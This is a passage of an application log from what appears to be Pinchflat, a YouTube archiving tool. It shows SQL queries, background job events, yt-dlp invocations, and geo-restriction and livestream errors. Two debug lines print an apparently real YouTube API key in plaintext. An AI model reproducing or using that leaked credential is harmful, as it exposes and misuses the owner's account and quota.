Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:45:59.785 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:45:59.787 [debug] QUERY OK source="media_items" db=1.6ms idle=1888.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 15:45:59.788 [debug] QUERY OK source="tasks" db=0.7ms idle=1394.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799802, 6, ~U[2026-02-10 21:45:59Z], ~U[2026-02-10 21:45:59Z]] 15:45:59.788 [info] {"args":{"id":6},"id":3799763,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":9394542,"event":"job:stop","queue_time":840856,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:00.976 [info] {"source":"oban","duration":139,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:46:08.411 [info] {"args":{"id":19},"id":3799764,"meta":{},"system_time":1770759968410896129,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:08.411 [debug] QUERY OK source="sources" db=0.2ms idle=1532.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 15:46:08.411 [debug] QUERY OK source="settings" db=0.1ms idle=1533.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:08.411 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:08.412 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:08.412 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 15:46:08.412 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:08.412 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:08.581 [debug] QUERY OK source="media_items" db=0.5ms idle=169.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 15:46:08.582 [debug] QUERY OK source="settings" db=0.0ms idle=170.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:08.582 [debug] QUERY OK source="settings" db=0.0ms idle=170.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:08.582 [debug] Running yt-dlp command for action: get_media_attributes 15:46:08.598 [debug] QUERY OK source="settings" db=0.0ms idle=186.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:08.598 [debug] QUERY OK source="settings" db=0.0ms idle=186.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:08.598 [debug] QUERY OK source="settings" db=0.0ms idle=17.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:08.599 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7d/8d/7d8de994312bd6649de99ea8ecd99bb81faf047afa6392584613124eeaf757a1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:46:09.970 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7d/8d/7d8de994312bd6649de99ea8ecd99bb81faf047afa6392584613124eeaf757a1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 15:46:09.970 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 15:46:09.970 [debug] QUERY OK source="settings" db=0.1ms idle=564.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:09.970 [debug] QUERY OK source="settings" db=0.0ms idle=92.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:09.971 [debug] Running yt-dlp command for action: get_media_attributes 15:46:09.972 [debug] QUERY OK source="settings" db=0.0ms idle=93.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:09.972 [debug] QUERY OK source="settings" db=0.0ms idle=93.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:09.972 [debug] QUERY OK source="settings" db=0.0ms idle=93.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:09.972 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/89/52/8952cef13fbde4aa5f3cdd33372b0b2f19e8a858ab9e84ae76b890dc6ccaa068.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:46:11.422 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/89/52/8952cef13fbde4aa5f3cdd33372b0b2f19e8a858ab9e84ae76b890dc6ccaa068.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 15:46:11.422 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 15:46:11.423 [debug] QUERY OK source="media_items" db=0.5ms idle=1450.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 15:46:11.424 [debug] QUERY OK source="tasks" db=0.1ms idle=1017.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799803, 19, ~U[2026-02-10 21:46:11Z], ~U[2026-02-10 21:46:11Z]] 15:46:11.424 [info] {"args":{"id":19},"id":3799764,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":3013477,"event":"job:stop","queue_time":676925,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:26.429 [info] {"args":{"id":30},"id":3799765,"meta":{},"system_time":1770759986429095175,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:26.429 [debug] QUERY OK source="sources" db=0.1ms idle=1550.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 15:46:26.429 [debug] QUERY OK source="settings" db=0.0ms idle=1551.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:26.429 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:26.430 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:26.430 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 15:46:26.430 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:26.430 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:26.540 [debug] QUERY OK source="media_items" db=0.4ms idle=110.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 15:46:26.541 [debug] QUERY OK source="media_items" db=0.1ms idle=111.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 15:46:26.542 [debug] QUERY OK source="tasks" db=0.1ms idle=111.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799804, 30, ~U[2026-02-10 21:46:26Z], ~U[2026-02-10 21:46:26Z]] 15:46:26.542 [info] {"args":{"id":30},"id":3799765,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":113196,"event":"job:stop","queue_time":533501,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:27.361 [info] {"source":"oban","duration":10119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:27.429 [info] {"args":{"id":28},"id":3799766,"meta":{},"system_time":1770759987429762336,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:27.430 [info] 